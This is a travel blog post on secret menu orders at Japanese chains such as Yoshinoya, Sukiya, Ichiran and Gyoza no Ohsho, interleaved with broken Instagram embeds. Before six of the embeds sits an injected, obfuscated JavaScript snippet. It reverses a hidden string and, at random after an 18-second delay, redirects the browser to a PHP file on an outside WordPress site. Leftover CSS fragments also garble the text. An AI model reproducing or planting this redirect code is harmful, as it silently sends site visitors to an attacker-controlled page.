It may not be an exaggeration if you call Japan a gourmet heaven: sushi, yakiniku, udon, soba, ramen, gyudon, and more.

It all sounds so good, you’ll want to try it for sure when visiting!!
 

You’ve probably heard that in Japan, you can’t really customize the dish–how it is set on the menu is how you’ll get it. But… you may next to you and see that the person beside you has ordered something that you for sure did not see on the menu.

Surely, they ordered off of the restaurant’s secret menu.
 

The secret menu is just what it sounds like: items you can order, that aren’t listed on the official menu. When you order these items you may feel like a pro–and you’ll be able to order the food just how you like it. Keep in mind, depending on the store these customizations and items might not be available–and don’t forget to ask if there’s an extra fee.
 

Let’s get started!!

~GYUDON~

Gyudon is a rice bowl with beef and vegetables–while it may be delicious on its own, there are ways to fine tune it.

First of all are the basics. You can ask for these almost anywhere and the staff will get what you mean.
 

General Secret Menu Items:
・つゆだく (tsuyudaku): extra broth
・つゆだくだく (tsuyudakudaku): a lot of extra broth
・つゆぬき (tsuyunuki): no broth
・ねぎだく (negidaku): extra green onions
・ねぎぬく (neginuku): no green onions
・肉下 (nikushita): rice on top of the meat**

**Normally the meat is placed on top of the rice
 

You may have noticed a theme: adding “daku” to the item you wish to have extra of will increase it, while “nuku” will ask the staff to hold that item.

So, if you ask for “negi daku daku daku daku daku daku daku daku”… would the staff give you a mountain of green onions perhaps?🤔
 

■Yoshinoya 吉野家

 

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top: 8px”>

この投稿をInstagramで見る

． 昨日の築地ごはん。 築地まで行って吉野家（笑） 築地店でのみ通用する裏メニュー(？)を注文‼️ ・ニクシタ(具とご飯が上下逆さま。見た目普通に白ご飯) ・トロだくネギだく(脂身多め、ネギ多め) １人で並ふたつ頼んだので店員さんが困惑してましたw すみませぬ…いつも並ふたつ食べてるんでwww ニクシタが非常に気に入った╰(*´︶`*)╯♡ ． #吉野家 #吉野家の牛丼 #牛丼 #吉野家一号店 #吉野家築地1号店 #築地 #築地市場 #築地市場場内 #築地ランチ #築地まで行って吉野家 #吉野家裏メニュー #肉下 #ニクシタ #トロだくネギだく #ファインダー越しの私の世界 #instafood #japanesefood #yoshinoya #gyudon #japan #tokyo #tukiji #tukijifishmarket #築地場内 #築地場内市場 #築地場内グルメ #築地場内食べ納め

top: 8px;overflow: hidden;padding: 8px 0 7px;text-align: center”> sake100%さん(@osake_nomuzo)がシェアした投稿 – 2018年 9月月25日午後7時55分PDT

・頭の大盛り (Atama no omori): extra rice
・肉下 (nikushita): rice on top of the meat
・冷汁 (hiyajiru): Pouring cooled down miso soup on top of the gyudon. You can also ask for kenchin soup (Japanese tofu & vegetable chowder).

■Sukiya すき家

 

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top: 8px”>

この投稿をInstagramで見る

すき家にてキング牛丼トッピング全部乗せ！！ #すき家 #牛丼 #キング #トッピング全部

top: 8px;overflow: hidden;padding: 8px 0 7px;text-align: center”> 祥吉さん(@syoukiti3710)がシェアした投稿 – 2019年 1月月25日午前7時02分PST

・King (Kingu): this isn’t just a large size, it’s the KING size! There’s 6x the meat and 3x the rice. It’s so big that it’s not available for takeout.
 

There are other ways to customize to make it just how you like it, for example…
・All the toppings: Toppingu-Zenbu-Nose
・牛プリン丼 (gyuu purin don): The beef pudding bowl. Yes, beef + pudding. For the adventurous. Are you sure this won’t upset your stomach…?

~Popular Shops~

■Ichiran Ramen 一蘭ラーメン

 

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top: 8px”>

この投稿をInstagramで見る

久々の一蘭‼️ とんこつラーメンに追加ネギトッピング美味しかったです‼️ ごちそうさまでした😄 #一蘭 #とんこつラーメン #豚骨ラーメン #ラーメン #らーめん #追加ネギ #最高 #うまい #おいしい

top: 8px;overflow: hidden;padding: 8px 0 7px;text-align: center”> Kouji Kitamuraさん(@kou8724)がシェアした投稿 – 2019年 6月月27日午後7時10分PDT

・ネギダブル（両方） (negi double [ryouhou]): On the order sheet if you circle both green and white onions, you’ll be able to get both.
・替え玉のダシの調整（多め・なし）　(kae-dama no dashi chousei [oome / nashi])： Here you can order extra noodles and also added extra soup by telling the staff how much dashi you’d like–extra (oome) or none at all (nashi).
 

■Gyoza no Ohsho 餃子の王将

 

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top: 8px”>

この投稿をInstagramで見る

天津飯のアンダク‼️ あんを餃子にかけて食べると♪こりゃ美味い💘 #餃子の王将 #天津飯 #天津飯あんだく #王将 #餃子 #あんだく #中華料理 #夢のあん多目 #みんなやってるチャレンジvol.777

top: 8px;overflow: hidden;padding: 8px 0 7px;text-align: center”> みるさん(@funa_sei)がシェアした投稿 – 2018年 2月月1日午前4時43分PST

・うす焼き(餃子) (usu-yaki [gyoza]): lightly cooked & moist
・両面焼き(餃子) (ryoumen-yaki [gyoza]): cooked on both sides–crispy
・あんだく(天津飯) (andaku [tenshin-han]): extra sauce (free!). You can choose from 3 types of saunce: amazu (sweet & sour), shio (salt), Kyoto-fu (Kyoto style)

~Cafes~

最後はご飯屋さんではなく、カフェの裏メニューを紹介します。
裏メニューランチの後は、さらに裏メニューで休憩タイムを♪
 

■Dotour ドトールコーヒーショップ

 

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top: 8px”>

この投稿をInstagramで見る

表参道なう！#表参道 #ドトール #ドトールコーヒー

top: 8px;overflow: hidden;padding: 8px 0 7px;text-align: center”>tomomilky.made.in.love)がシェアした投稿 – 2019年 6月月28日午後5時31分PDT

 

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top: 8px”>

この投稿をInstagramで見る

. 2019.2.27 . メンバー最高すぎて 入った瞬間ニヤけた 癒しのオンパレード . 居心地良すぎて2杯目+ワッフル追加 . . . #スタバ #スターバックス #jrjp #jrjp博多ビル店 #カップメッセージ #ゆりちゃんかずさんよもちゃん #贅沢に3人から #メンバー素敵 #長居しよ #って思える空間だった #結果3時間滞在 #明日何としてでも行きたい #都合ちゃんおいで

top: 8px;overflow: hidden;padding: 8px 0 7px;text-align: center”> Aoi Tsuchiyaさん(@aozora.a.ny)がシェアした投稿 – 2019年 2月月27日午前12時20分PST

・How to request the right amount of espresso (esupuresso shotto no chōsei): One shot, double shot, triple shot… how much espresso would you like?
・How about the amount of the powder (powder no chousei]): no powder, light powder, extra powder.
 

There’s not just a special menu–but also special service options!
・Change to starbucks mug (magu cuppu ni henkou): Planning on enjoying your drink at the store? Try the reusable mug cup rather than a disposable paper cup!
・Cup Message (kappu messeji): If you as for staff to write a message on your cup for you there’s almost a 100% rate that they will do it!
・Blanket (buranketto): Feel cozy with a blanket. Just ask the staff for assistance!

• little-known